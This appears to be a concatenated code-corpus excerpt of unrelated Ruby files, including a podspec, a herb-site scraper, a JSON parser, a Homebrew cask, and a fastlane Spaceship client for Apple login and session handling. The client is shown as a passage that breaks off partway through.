features[3].instance_eval { parameter :baz, name: 'BAZ', data_type: :int, default: 3 }
expect(components[0]).to have_declaration(:parameter, 'foo = 1')
expect(components[1]).to have_declaration(:parameter, 'int BAR = 2')
expect(components[2]).to have_declaration(:parameter, 'int BAZ = 3')
end
end
end
| 38.185185 | 109 | 0.700776 |
61d7914af53052e383d2b771a20ba1d3e3beb231 | 1,897 | #
# Be sure to run `pod lib lint SPNetWorkCore.podspec' to ensure this is a
# valid spec before submitting.
#
# Any lines starting with a # are optional, but their use is encouraged
# To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'SPNetWorkCore'
s.version = '0.0.1'
s.summary = 'RxSwift封装的网络请求.'
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = <<-DESC
TODO: RxSwift封装了网络请求 包含网络请求,数据解析
DESC
s.homepage = 'https://github.com/songspecs/SPNetWorkCore'
# s.screenshots = 'www.example.com/screenshots_1', 'www.example.com/screenshots_2'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { '[email protected]' => '[email protected]' }
s.source = { :git => 'https://github.com/songspecs/SPNetWorkCore.git', :tag => s.version.to_s }
# s.social_media_url = 'https://twitter.com/<TWITTER_USERNAME>'
s.ios.deployment_target = '8.0'
s.source_files = 'SPNetWorkCore/Classes/**/*'
s.swift_version = "4.2"
s.dependency 'SPModelProtocol', '~> 0.0.1'
# https://github.com/TyroneSong/SPSpecs/tree/master/SPModelProtocol/0.0.1
s.dependency 'Alamofire', '~> 4.8.2'
s.dependency 'RxSwift', '~> 4.5.0'
s.dependency 'RxCocoa', '~> 4.5.0'
s.dependency 'Result', '~> 4.1.0'
# s.resource_bundles = {
# 'SPNetWorkCore' => ['SPNetWorkCore/Assets/*.png']
# }
# s.public_header_files = 'Pod/Classes/**/*.h'
# s.frameworks = 'UIKit', 'MapKit'
# s.dependency 'AFNetworking', '~> 2.3'
end
| 36.480769 | 107 | 0.641012 |
fff6baa616d64cdd20f048bf0f0a09fc6046c018 | 1,679 |
class Scraper
def self.scrape_url
url = "https://solidarityapothecary.org/category/plant-allies/"
index_page = Nokogiri::HTML(open(url))
index_page.css("div.post-header h2 a").each do |website_element|
Herb.new(website_element.children.text.gsub(" Plant Profile", "").downcase, website_element.attribute("href").text)
end
end
def self.scrape_herb_page(object)
herb_page = Nokogiri::HTML(open(object.website))
herb_page.css("div.post-entry p").each do |info|
if info.text.include?("Plant family:")
object.plant_family = info.text.gsub("Plant family: ", "")
elsif info.text.include?("Plant family")
object.plant_family = info.text.gsub("Plant family ", "")
end
if info.text.include?("Latin name:")
object.latin_name = info.text.gsub("Latin name: ", "")
elsif info.text.include?("Latin name")
object.latin_name = info.text.gsub("Latin name ", "")
end
if info.text.include?("Chemical constituents:")
object.constituents = info.text.gsub("Chemical constituents: ", "")
elsif info.text.include?("Chemical constituents")
object.constituents = info.text.gsub("Chemical constituents ", "")
end
if info.text.include?("Herbal actions:")
object.actions = info.text.gsub("Herbal actions: ", "")
elsif info.text.include?("Herbal actions")
object.actions = info.text.gsub("Herbal actions ", "")
end
end
end
end
| 39.97619 | 127 | 0.573556 |
ffc3e241cf7aeecef21d9854d853b19b64a667a4 | 2,180 | # frozen_string_literal: true
require "paco"
module JsonParser
extend Paco
module_function
def parse(io)
spaced(value).parse(io)
end
def value
memoize { alt(null, bool, number, str, array, object) }
end
def null
memoize { string("null").result(nil) }
end
def bool
memoize do
alt(
string("true").result(true),
string("false").result(false)
)
end
end
def sign
memoize { alt(string("-"), string("+")) }
end
def decimal
memoize { digits.fmap(&:to_i) }
end
def number
memoize do
seq(
optional(sign),
decimal,
optional(seq(
string("."),
decimal
)),
optional(seq(
one_of("eE"),
optional(sign),
decimal
))
).fmap do |sign, whole, (_, fractional), (_, exponent_sign, exponent)|
n = whole
n += fractional.to_f / 10**fractional.to_s.length if fractional
n *= -1 if sign == "-"
if exponent
e = exponent
e *= -1 if exponent_sign == "-"
n *= 10**e
end
n
end
end
end
def str
memoize do
wrap(
string('"'),
string('"'),
many(alt(none_of('"\\'), escaped_chars)).join
)
end
end
def array
memoize do
wrap(
string("["),
opt_ws > string("]"),
sep_by(spaced(lazy { value }), string(","))
)
end
end
def object
memoize do
wrap(string("{"), opt_ws > string("}"),
sep_by(
spaced(seq(
str < spaced(string(":")),
lazy { value }
)),
string(",")
)).fmap { |x| x.to_h }
end
end
def four_hex_digits
memoize { regexp(/\h{4}/) }
end
def escaped_chars
string("\\").next(
alt(
string('"'),
string("\\"),
string("/"),
string("f").result("\f"),
string("b").result("\b"),
string("r").result("\r"),
string("n").result("\n"),
string("t").result("\t"),
string("u").next(four_hex_digits.fmap { |s| [s.hex].pack("U") })
)
)
end
end
| 18.166667 | 76 | 0.473394 |
6a66354ea311da18bc60f54e2f47002e9f8b69ca | 447 | cask "praat" do
version "6.1.56"
sha256 "7449914af507357c4271b67b32574e7198ff3941df8ec30cb9961e0dfc30767c"
url "https://github.com/praat/praat/releases/download/v#{version}/praat#{version.no_dots}_mac.dmg",
verified: "github.com/praat/praat/"
name "Praat"
desc "Doing phonetics by computer"
homepage "https://www.fon.hum.uva.nl/praat/"
app "Praat.app"
binary "#{appdir}/Praat.app/Contents/MacOS/Praat", target: "praat"
end
| 31.928571 | 101 | 0.733781 |
1cc6a10347380349795a05ca393116aee193bf49 | 141 | class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
def hello
render html: "Hello!"
end
end
| 17.625 | 52 | 0.765957 |
61fc0410177ff1249166a56058b1dc8b2cd6dc34 | 503 | module UnittestJS
module Browser
class Chrome < Abstract
def initialize(path = nil)
@path = path || File.join(
ENV['UserPath'] || "C:/Documents and Settings/Administrator",
"Local Settings",
"Application Data",
"Google",
"Chrome",
"Application",
"chrome.exe"
)
end
def supported?
windows? || macos?
end
def name
'Google Chrome'
end
end
end
end
| 18.62963 | 71 | 0.497018 |
5d4540179ab12b2bf54b26eb706033e67c988f5c | 1,023 | # frozen_string_literal: true
require 'vk/api/methods'
module Vk
module API
class Pages < Vk::Schema::Namespace
module Methods
# Returns HTML representation of the wiki markup.
class ParseWiki < Schema::Method
# @!group Properties
self.open = false
self.method = 'pages.parseWiki'
# @method initialize(arguments)
# @param [Hash] arguments
# @option arguments [String] :text Text of the wiki page.
# @option arguments [Integer] :group_id ID of the group in the context of which this markup is interpreted.;
# @return [Pages::Methods::ParseWiki]
# @!group Arguments
# @return [String] Text of the wiki page.
attribute :text, API::Types::Coercible::String
# @return [Integer] ID of the group in the context of which this markup is interpreted.;
attribute :group_id, API::Types::Coercible::Int.optional.default(nil)
end
end
end
end
end
| 31.96875 | 120 | 0.616813 |
18be2b6879b26c172d9573fdd53730319572f2eb | 4,860 | ###############################################################################
# Copyright (c) 2014 Jeremy S. Bradbury, Joseph Heron
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
###############################################################################
class ManageSpecialCode
attr_accessor :commentOpen
def initialize
@commentOpen = false
end
# Removes the quoted sections quotes for the line.
def removeQuotes(line)
length = line.scan(/"/).length
if length < 2
# Nothing change
return line
elsif length == 2
return line.gsub(/".*"/,'')
else
# Best attempt, will still fail given:
# "System.out.println(\"\\\"+ \"the sunny\\\" day\");"
# Since the first one is block "\\" is picked up as not ending
# This is because there is no difference between (as far as ruby is concerned)
# with "\\" and "\". The second would not compile in Java. However both would
# be represented with \"\\\" in ruby (since ruby is forcing it to be a string)
# The problem being that \" is used in Java and ruby to show an escaped quote
# however ruby then takes that string and converts it to \\\" to indicate an
# escaped quote and an escaped forward slash.
inQuote = false
escape_count = 0
newLine = ''
line.each_char do |c|
#puts "c = #{c}"
if inQuote
if c == '\\'
escape_count += 1
elsif c == '"'
if (escape_count+1) % 2 == 0
#puts "HERE"
escape_count = 0
else
inQuote = false
end
else
escape_count = 0
end
else
if c == '"'
inQuote = true
else
newLine << c
end
end
#puts "inside = #{inQuote}"
end
return newLine
end
end
# Remove the single line comment
def removeSingleLineComment(line)
return line.gsub(/(\/\/.*$)|(\/\*.*\*\/)/,'')
end
def removeMultComment(line)
# Check if the line is in the middle of a comment
if @commentOpen
# check if closing
if line.match(/.*\*\//)
# Comment finished
@commentOpen = false
# Remove Comment
line.gsub!(/.*\*\//, '')
else
# In the middle of a comment, clear the line
line = ''
end
else
# Check if a new comment block is starting
if line.match(/\/\*.*$/)
@commentOpen = true
# Remove the comment on the line
line.gsub!(/\/\*.*$/, '')
end
end
return line
end
def removeComments(line)
line = removeSingleLineComment(line)
return removeMultComment(line)
end
# Call all cleaning methods
def cleanLine(line)
line = removeQuotes(line)
line = removeSingleLineComment(line)
return removeMultComment(line)
end
end
# TODO move to test case
=begin
mq = ManageSpecialCode.new
first_line = "System.out.println(\"reserve characters are: ; { class public \\n // /*\");"
second_line = "System.out.println(\"Cleaned ; /* comment? */"
third_line = "finished // everything \" + value);"
[first_line, second_line, third_line].each do |line|
# Todo compare to expected
puts mq.removeQuotes(line)
end
=end | 35.474453 | 91 | 0.533951 |
284161f9fb65c34608ce0a90e550c0097948a2c2 | 305 | require 'test_helper'
require 'test/unit'
require 'dtm'
class TestDtm < Test::Unit::TestCase
def test_parameterize
params = Dtm::Dtm.parameterize(:a_a => 'a', :b_b => {:c => true}, :d_d => [{:e_e => 'e'}, '/FF:f'])
assert_equal("/AA:a /BB:/C:true /DD { /EE:e } /DD { /FF:f }", params)
end
end | 30.5 | 103 | 0.593443 |
7a000c7b392de906c50b5ac33eee125c074c6bd2 | 35,443 | require 'faraday' # HTTP Client
require 'faraday-cookie_jar'
require 'faraday_middleware'
require 'logger'
require 'tmpdir'
require 'cgi'
require 'tempfile'
require 'fastlane/version'
require_relative 'babosa_fix'
require_relative 'helper/net_http_generic_request'
require_relative 'helper/plist_middleware'
require_relative 'helper/rels_middleware'
require_relative 'ui'
require_relative 'errors'
require_relative 'tunes/errors'
require_relative 'globals'
require_relative 'provider'
Faraday::Utils.default_params_encoder = Faraday::FlatParamsEncoder
module Spaceship
# rubocop:disable Metrics/ClassLength
class Client
PROTOCOL_VERSION = "QH65B2"
USER_AGENT = "Spaceship #{Fastlane::VERSION}"
AUTH_TYPES = ["sa", "hsa", "non-sa", "hsa2"]
attr_reader :client
# The user that is currently logged in
attr_accessor :user
# The email of the user that is currently logged in
attr_accessor :user_email
# The logger in which all requests are logged
# /tmp/spaceship[time]_[pid].log by default
attr_accessor :logger
attr_accessor :csrf_tokens
attr_accessor :provider
# legacy support
BasicPreferredInfoError = Spaceship::BasicPreferredInfoError
InvalidUserCredentialsError = Spaceship::InvalidUserCredentialsError
NoUserCredentialsError = Spaceship::NoUserCredentialsError
ProgramLicenseAgreementUpdated = Spaceship::ProgramLicenseAgreementUpdated
InsufficientPermissions = Spaceship::InsufficientPermissions
UnexpectedResponse = Spaceship::UnexpectedResponse
AppleTimeoutError = Spaceship::AppleTimeoutError
UnauthorizedAccessError = Spaceship::UnauthorizedAccessError
GatewayTimeoutError = Spaceship::GatewayTimeoutError
InternalServerError = Spaceship::InternalServerError
BadGatewayError = Spaceship::BadGatewayError
AccessForbiddenError = Spaceship::AccessForbiddenError
def self.hostname
raise "You must implement self.hostname"
end
#####################################################
# @!group Teams + User
#####################################################
# @return (Array) A list of all available teams
def teams
user_details_data['associatedAccounts'].sort_by do |team|
[
team['contentProvider']['name'],
team['contentProvider']['contentProviderId']
]
end
end
# Fetch the general information of the user, is used by various methods across spaceship
# Sample return value
# => {"associatedAccounts"=>
# [{"contentProvider"=>{"contentProviderId"=>11142800, "name"=>"Felix Krause", "contentProviderTypes"=>["Purple Software"]}, "roles"=>["Developer"], "lastLogin"=>1468784113000}],
# "sessionToken"=>{"dsId"=>"8501011116", "contentProviderId"=>18111111, "expirationDate"=>nil, "ipAddress"=>nil},
# "permittedActivities"=>
# {"EDIT"=>
# ["UserManagementSelf",
# "GameCenterTestData",
# "AppAddonCreation"],
# "REPORT"=>
# ["UserManagementSelf",
# "AppAddonCreation"],
# "VIEW"=>
# ["TestFlightAppExternalTesterManagement",
# ...
# "HelpGeneral",
# "HelpApplicationLoader"]},
# "preferredCurrencyCode"=>"EUR",
# "preferredCountryCode"=>nil,
# "countryOfOrigin"=>"AT",
# "isLocaleNameReversed"=>false,
# "feldsparToken"=>nil,
# "feldsparChannelName"=>nil,
# "hasPendingFeldsparBindingRequest"=>false,
# "isLegalUser"=>false,
# "userId"=>"1771111155",
# "firstname"=>"Detlef",
# "lastname"=>"Mueller",
# "isEmailInvalid"=>false,
# "hasContractInfo"=>false,
# "canEditITCUsersAndRoles"=>false,
# "canViewITCUsersAndRoles"=>true,
# "canEditIAPUsersAndRoles"=>false,
# "transporterEnabled"=>false,
# "contentProviderFeatures"=>["APP_SILOING", "PROMO_CODE_REDESIGN", ...],
# "contentProviderType"=>"Purple Software",
# "displayName"=>"Detlef",
# "contentProviderId"=>"18742800",
# "userFeatures"=>[],
# "visibility"=>true,
# "DYCVisibility"=>false,
# "contentProvider"=>"Felix Krause",
# "userName"=>"[email protected]"}
def user_details_data
return @_cached_user_details if @_cached_user_details
r = request(:get, '/WebObjects/iTunesConnect.woa/ra/user/detail')
@_cached_user_details = parse_response(r, 'data')
end
# @return (String) The currently selected Team ID
def team_id
return @current_team_id if @current_team_id
if teams.count > 1
puts("The current user is in #{teams.count} teams. Pass a team ID or call `select_team` to choose a team. Using the first one for now.")
end
@current_team_id ||= teams[0]['contentProvider']['contentProviderId']
end
# Set a new team ID which will be used from now on
def team_id=(team_id)
# First, we verify the team actually exists, because otherwise iTC would return the
# following confusing error message
#
# invalid content provider id
#
available_teams = teams.collect do |team|
{
team_id: (team["contentProvider"] || {})["contentProviderId"],
team_name: (team["contentProvider"] || {})["name"]
}
end
result = available_teams.find do |available_team|
team_id.to_s == available_team[:team_id].to_s
end
unless result
error_string = "Could not set team ID to '#{team_id}', only found the following available teams:\n\n#{available_teams.map { |team| "- #{team[:team_id]} (#{team[:team_name]})" }.join("\n")}\n"
raise Tunes::Error.new, error_string
end
response = request(:post) do |req|
req.url("ra/v1/session/webSession")
req.body = {
contentProviderId: team_id,
dsId: user_detail_data.ds_id # https://github.com/fastlane/fastlane/issues/6711
}.to_json
req.headers['Content-Type'] = 'application/json'
end
handle_itc_response(response.body)
@current_team_id = team_id
end
# @return (Hash) Fetches all information of the currently used team
def team_information
teams.find do |t|
t['teamId'] == team_id
end
end
# @return (String) Fetches name from currently used team
def team_name
(team_information || {})['name']
end
#####################################################
# @!group Client Init
#####################################################
# Instantiates a client but with a cookie derived from another client.
#
# HACK: since the `@cookie` is not exposed, we use this hacky way of sharing the instance.
def self.client_with_authorization_from(another_client)
self.new(cookie: another_client.instance_variable_get(:@cookie), current_team_id: another_client.team_id)
end
def initialize(cookie: nil, current_team_id: nil)
options = {
request: {
timeout: (ENV["SPACESHIP_TIMEOUT"] || 300).to_i,
open_timeout: (ENV["SPACESHIP_TIMEOUT"] || 300).to_i
}
}
@current_team_id = current_team_id
@cookie = cookie || HTTP::CookieJar.new
@client = Faraday.new(self.class.hostname, options) do |c|
c.response(:json, content_type: /\bjson$/)
c.response(:xml, content_type: /\bxml$/)
c.response(:plist, content_type: /\bplist$/)
c.use(:cookie_jar, jar: @cookie)
c.use(FaradayMiddleware::RelsMiddleware)
c.adapter(Faraday.default_adapter)
if ENV['SPACESHIP_DEBUG']
# for debugging only
# This enables tracking of networking requests using Charles Web Proxy
c.proxy = "https://127.0.0.1:8888"
c.ssl[:verify_mode] = OpenSSL::SSL::VERIFY_NONE
elsif ENV["SPACESHIP_PROXY"]
c.proxy = ENV["SPACESHIP_PROXY"]
c.ssl[:verify_mode] = OpenSSL::SSL::VERIFY_NONE if ENV["SPACESHIP_PROXY_SSL_VERIFY_NONE"]
end
if ENV["DEBUG"]
puts("To run spaceship through a local proxy, use SPACESHIP_DEBUG")
end
end
end
#####################################################
# @!group Request Logger
#####################################################
# The logger in which all requests are logged
# /tmp/spaceship[time]_[pid]_["threadid"].log by default
def logger
unless @logger
if ENV["VERBOSE"]
@logger = Logger.new(STDOUT)
else
# Log to file by default
path = "/tmp/spaceship#{Time.now.to_i}_#{Process.pid}_#{Thread.current.object_id}.log"
@logger = Logger.new(path)
end
@logger.formatter = proc do |severity, datetime, progname, msg|
severity = format('%-5.5s', severity)
"#{severity} [#{datetime.strftime('%H:%M:%S')}]: #{msg}\n"
end
end
@logger
end
#####################################################
# @!group Session Cookie
#####################################################
##
# Return the session cookie.
#
# @return (String) the cookie-string in the RFC6265 format: https://tools.ietf.org/html/rfc6265#section-4.2.1
def cookie
@cookie.map(&:to_s).join(';')
end
def store_cookie(path: nil)
path ||= persistent_cookie_path
FileUtils.mkdir_p(File.expand_path("..", path))
# really important to specify the session to true
# otherwise myacinfo and more won't be stored
@cookie.save(path, :yaml, session: true)
return File.read(path)
end
# This is a duplicate method of fastlane_core/fastlane_core.rb#fastlane_user_dir
def fastlane_user_dir
path = File.expand_path(File.join(Dir.home, ".fastlane"))
FileUtils.mkdir_p(path) unless File.directory?(path)
return path
end
# Returns preferred path for storing cookie
# for two step verification.
def persistent_cookie_path
if ENV["SPACESHIP_COOKIE_PATH"]
path = File.expand_path(File.join(ENV["SPACESHIP_COOKIE_PATH"], "spaceship", self.user, "cookie"))
else
[File.join(self.fastlane_user_dir, "spaceship"), "~/.spaceship", "/var/tmp/spaceship", "#{Dir.tmpdir}/spaceship"].each do |dir|
dir_parts = File.split(dir)
if directory_accessible?(File.expand_path(dir_parts.first))
path = File.expand_path(File.join(dir, self.user, "cookie"))
break
end
end
end
return path
end
#####################################################
# @!group Automatic Paging
#####################################################
# The page size we want to request, defaults to 500
def page_size
@page_size ||= 500
end
# Handles the paging for you... for free
# Just pass a block and use the parameter as page number
def paging
page = 0
results = []
loop do
page += 1
current = yield(page)
results += current
break if (current || []).count < page_size # no more results
end
return results
end
#####################################################
# @!group Login and Team Selection
#####################################################
# Authenticates with Apple's web services. This method has to be called once
# to generate a valid session. The session will automatically be used from then
# on.
#
# This method will automatically use the username from the Appfile (if available)
# and fetch the password from the Keychain (if available)
#
# @param user (String) (optional): The username (usually the email address)
# @param password (String) (optional): The password
#
# @raise InvalidUserCredentialsError: raised if authentication failed
#
# @return (Spaceship::Client) The client the login method was called for
def self.login(user = nil, password = nil)
instance = self.new
if instance.login(user, password)
instance
else
raise InvalidUserCredentialsError.new, "Invalid User Credentials"
end
end
# Authenticates with Apple's web services. This method has to be called once
# to generate a valid session. The session will automatically be used from then
# on.
#
# This method will automatically use the username from the Appfile (if available)
# and fetch the password from the Keychain (if available)
#
# @param user (String) (optional): The username (usually the email address)
# @param password (String) (optional): The password
#
# @raise InvalidUserCredentialsError: raised if authentication failed
#
# @return (Spaceship::Client) The client the login method was called for
def login(user = nil, password = nil)
if user.to_s.empty? || password.to_s.empty?
require 'credentials_manager/account_manager'
puts("Reading keychain entry, because either user or password were empty") if Spaceship::Globals.verbose?
keychain_entry = CredentialsManager::AccountManager.new(user: user, password: password)
user ||= keychain_entry.user
password = keychain_entry.password
end
if user.to_s.strip.empty? || password.to_s.strip.empty?
raise NoUserCredentialsError.new, "No login data provided"
end
self.user = user
@password = password
begin
do_login(user, password) # calls `send_login_request` in sub class (which then will redirect back here to `send_shared_login_request`, below)
rescue InvalidUserCredentialsError => ex
raise ex unless keychain_entry
if keychain_entry.invalid_credentials
login(user)
else
raise ex
end
end
end
# This method is used for both the Apple Dev Portal and App Store Connect
# This will also handle 2 step verification and 2 factor authentication
#
# It is called in `send_login_request` of sub classes (which the method `login`, above, transferred over to via `do_login`)
def send_shared_login_request(user, password)
# Check if we have a cached/valid session
#
# Background:
# December 4th 2017 Apple introduced a rate limit - which is of course fine by itself -
# but unfortunately also rate limits successful logins. If you call multiple tools in a
# lane (e.g. call match 5 times), this would lock you out of the account for a while.
# By loading existing sessions and checking if they're valid, we're sending less login requests.
# More context on why this change was necessary https://github.com/fastlane/fastlane/pull/11108
#
# If there was a successful manual login before, we have a session on disk
if load_session_from_file
# Check if the session is still valid here
begin
# We use the olympus session to determine if the old session is still valid
# As this will raise an exception if the old session has expired
# If the old session is still valid, we don't have to do anything else in this method
# that's why we return true
return true if fetch_olympus_session
rescue
# If the `fetch_olympus_session` method raises an exception
# we'll land here, and therefore continue doing a full login process
# This happens if the session we loaded from the cache isn't valid any more
# which is common, as the session automatically invalidates after x hours (we don't know x)
# In this case we don't actually care about the exact exception, and why it was failing
# because either way, we'll have to do a fresh login, where we do the actual error handling
puts("Available session is not valid any more. Continuing with normal login.")
end
end
#
# The user can pass the session via environment variable (Mainly used in CI environments)
if load_session_from_env
# see above
begin
# see above
return true if fetch_olympus_session
rescue
puts("Session loaded from environment variable is not valid. Continuing with normal login.")
# see above
end
end
#
# After this point, we sure have no valid session any more and have to create a new one
#
data = {
accountName: user,
password: password,
rememberMe: true
}
begin
# The below workaround is only needed for 2 step verified machines
# Due to escaping of cookie values we have a little workaround here
# By default the cookie jar would generate the following header
# DES5c148...=HSARM.......xaA/O69Ws/CHfQ==SRVT
# However we need the following
# DES5c148...="HSARM.......xaA/O69Ws/CHfQ==SRVT"
# There is no way to get the cookie jar value with " around the value
# so we manually modify the cookie (only this one) to be properly escaped
# Afterwards we pass this value manually as a header
# It's not enough to just modify @cookie, it needs to be done after self.cookie
# as a string operation
important_cookie = @cookie.store.entries.find { |a| a.name.include?("DES") }
if important_cookie
modified_cookie = self.cookie # returns a string of all cookies
unescaped_important_cookie = "#{important_cookie.name}=#{important_cookie.value}"
escaped_important_cookie = "#{important_cookie.name}=\"#{important_cookie.value}\""
modified_cookie.gsub!(unescaped_important_cookie, escaped_important_cookie)
end
response = request(:post) do |req|
req.url("https://idmsa.apple.com/appleauth/auth/signin")
req.body = data.to_json
req.headers['Content-Type'] = 'application/json'
req.headers['X-Requested-With'] = 'XMLHttpRequest'
req.headers['X-Apple-Widget-Key'] = self.itc_service_key
req.headers['Accept'] = 'application/json, text/javascript'
req.headers["Cookie"] = modified_cookie if modified_cookie
end
rescue UnauthorizedAccessError
raise InvalidUserCredentialsError.new, "Invalid username and password combination. Used '#{user}' as the username."
end
# Now we know if the login is successful or if we need to do 2 factor
case response.status
when 403
raise InvalidUserCredentialsError.new, "Invalid username and password combination. Used '#{user}' as the username."
when 200
fetch_olympus_session
return response
when 409
# 2 step/factor is enabled for this account, first handle that
handle_two_step_or_factor(response)
# and then get the olympus session
fetch_olympus_session
return true
else
if (response.body || "").include?('invalid="true"')
# User Credentials are wrong
raise InvalidUserCredentialsError.new, "Invalid username and password combination. Used '#{user}' as the username."
elsif response.status == 412 && AUTH_TYPES.include?(response.body["authType"])
# Need to acknowledge Apple ID and Privacy statement - https://github.com/fastlane/fastlane/issues/12577
# Looking for status of 412 might be enough but might be safer to keep looking only at what is being reported
raise AppleIDAndPrivacyAcknowledgementNeeded.new, "Need to acknowledge to Apple's Apple ID and Privacy statement. Please manually log into https://appleid.apple.com (or https://appstoreconnect.apple.com) to acknowledge the statement."
elsif (response['Set-Cookie'] || "").include?("itctx")
raise "Looks like your Apple ID is not enabled for App Store Connect, make sure to be able to login online"
else
info = [response.body, response['Set-Cookie']]
raise Tunes::Error.new, info.join("\n")
end
end
end
# Get the `itctx` from the new (22nd May 2017) API endpoint "olympus"
# Update (29th March 2019) olympus migrates to new appstoreconnect API
def fetch_olympus_session
response = request(:get, "https://appstoreconnect.apple.com/olympus/v1/session")
body = response.body
if body
body = JSON.parse(body) if body.kind_of?(String)
user_map = body["user"]
if user_map
self.user_email = user_map["emailAddress"]
end
provider = body["provider"]
if provider
self.provider = Spaceship::Provider.new(provider_hash: provider)
return true
end
end
return false
end
def itc_service_key
return @service_key if @service_key
# Check if we have a local cache of the key
itc_service_key_path = "/tmp/spaceship_itc_service_key.txt"
return File.read(itc_service_key_path) if File.exist?(itc_service_key_path)
# Fixes issue https://github.com/fastlane/fastlane/issues/13281
# Even though we are using https://appstoreconnect.apple.com, the service key needs to still use a
# hostname through itunesconnect.apple.com
response = request(:get, "https://appstoreconnect.apple.com/olympus/v1/app/config?hostname=itunesconnect.apple.com")
@service_key = response.body["authServiceKey"].to_s
raise "Service key is empty" if @service_key.length == 0
# Cache the key locally
File.write(itc_service_key_path, @service_key)
return @service_key
rescue => ex
puts(ex.to_s)
raise AppleTimeoutError.new, "Could not receive latest API key from App Store Connect, this might be a server issue."
end
#####################################################
# @!group Session
#####################################################
def load_session_from_file
begin
if File.exist?(persistent_cookie_path)
puts("Loading session from '#{persistent_cookie_path}'") if Spaceship::Globals.verbose?
@cookie.load(persistent_cookie_path)
return true
end
rescue => ex
puts(ex.to_s)
puts("Continuing with normal login.")
end
return false
end
def load_session_from_env
return if self.class.spaceship_session_env.to_s.length == 0
puts("Loading session from environment variable") if Spaceship::Globals.verbose?
file = Tempfile.new('cookie.yml')
file.write(self.class.spaceship_session_env.gsub("\\n", "\n"))
file.close
begin
@cookie.load(file.path)
rescue => ex
puts("Error loading session from environment")
puts("Make sure to pass the session in a valid format")
raise ex
ensure
file.unlink
end
end
# Fetch the session cookie from the environment
# (if exists)
def self.spaceship_session_env
ENV["FASTLANE_SESSION"] || ENV["SPACESHIP_SESSION"]
end
# Get contract messages from App Store Connect's "olympus" endpoint
def fetch_program_license_agreement_messages
all_messages = []
messages_request = request(:get, "https://appstoreconnect.apple.com/olympus/v1/contractMessages")
body = messages_request.body
if body
body = JSON.parse(body) if body.kind_of?(String)
body.map do |messages|
all_messages.push(messages["message"])
end
end
return all_messages
end
#####################################################
# @!group Helpers
#####################################################
def with_retry(tries = 5, &_block)
return yield
rescue \
Faraday::ConnectionFailed,
Faraday::TimeoutError,
BadGatewayError,
AppleTimeoutError,
GatewayTimeoutError,
AccessForbiddenError => ex
tries -= 1
unless tries.zero?
msg = "Timeout received: '#{ex.class}', '#{ex.message}'. Retrying after 3 seconds (remaining: #{tries})..."
puts(msg) if Spaceship::Globals.verbose?
logger.warn(msg)
sleep(3) unless Object.const_defined?("SpecHelper")
retry
end
raise ex # re-raise the exception
rescue \
Faraday::ParsingError, # <h2>Internal Server Error</h2> with content type json
InternalServerError => ex
tries -= 1
unless tries.zero?
msg = "Internal Server Error received: '#{ex.class}', '#{ex.message}'. Retrying after 3 seconds (remaining: #{tries})..."
puts(msg) if Spaceship::Globals.verbose?
logger.warn(msg)
sleep(3) unless Object.const_defined?("SpecHelper")
retry
end
raise ex # re-raise the exception
rescue UnauthorizedAccessError => ex
if @loggedin && !(tries -= 1).zero?
msg = "Auth error received: '#{ex.class}', '#{ex.message}'. Login in again then retrying after 3 seconds (remaining: #{tries})..."
puts(msg) if Spaceship::Globals.verbose?
logger.warn(msg)
if self.class.spaceship_session_env.to_s.length > 0
raise UnauthorizedAccessError.new, "Authentication error, you passed an invalid session using the environment variable FASTLANE_SESSION or SPACESHIP_SESSION"
end
do_login(self.user, @password)
sleep(3) unless Object.const_defined?("SpecHelper")
retry
end
raise ex # re-raise the exception
end
# memorize the last csrf tokens from responses
def csrf_tokens
@csrf_tokens || {}
end
def request(method, url_or_path = nil, params = nil, headers = {}, auto_paginate = false, &block)
headers.merge!(csrf_tokens)
headers['User-Agent'] = USER_AGENT
# Before encoding the parameters, log them
log_request(method, url_or_path, params, headers, &block)
# form-encode the params only if there are params, and the block is not supplied.
# this is so that certain requests can be made using the block for more control
if method == :post && params && !block_given?
params, headers = encode_params(params, headers)
end
response = if auto_paginate
send_request_auto_paginate(method, url_or_path, params, headers, &block)
else
send_request(method, url_or_path, params, headers, &block)
end
return response
end
def parse_response(response, expected_key = nil)
if response.body
# If we have an `expected_key`, select that from response.body Hash
# Else, don't.
# the returned error message and info, is html encoded -> "issued" -> make this readable -> "issued"
response.body["userString"] = CGI.unescapeHTML(response.body["userString"]) if response.body["userString"]
response.body["resultString"] = CGI.unescapeHTML(response.body["resultString"]) if response.body["resultString"]
content = expected_key ? response.body[expected_key] : response.body
end
# if content (filled with whole body or just expected_key) is missing
if content.nil?
detect_most_common_errors_and_raise_exceptions(response.body) if response.body
raise UnexpectedResponse, response.body
# else if it is a hash and `resultString` includes `NotAllowed`
elsif content.kind_of?(Hash) && (content["resultString"] || "").include?("NotAllowed")
# example content when doing a Developer Portal action with not enough permission
# => {"responseId"=>"e5013d83-c5cb-4ba0-bb62-734a8d56007f",
# "resultCode"=>1200,
# "resultString"=>"webservice.certificate.downloadNotAllowed",
# "userString"=>"You are not permitted to download this certificate.",
# "creationTimestamp"=>"2017-01-26T22:44:13Z",
# "protocolVersion"=>"QH65B2",
# "userLocale"=>"en_US",
# "requestUrl"=>"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/downloadCertificateContent.action",
# "httpCode"=>200}
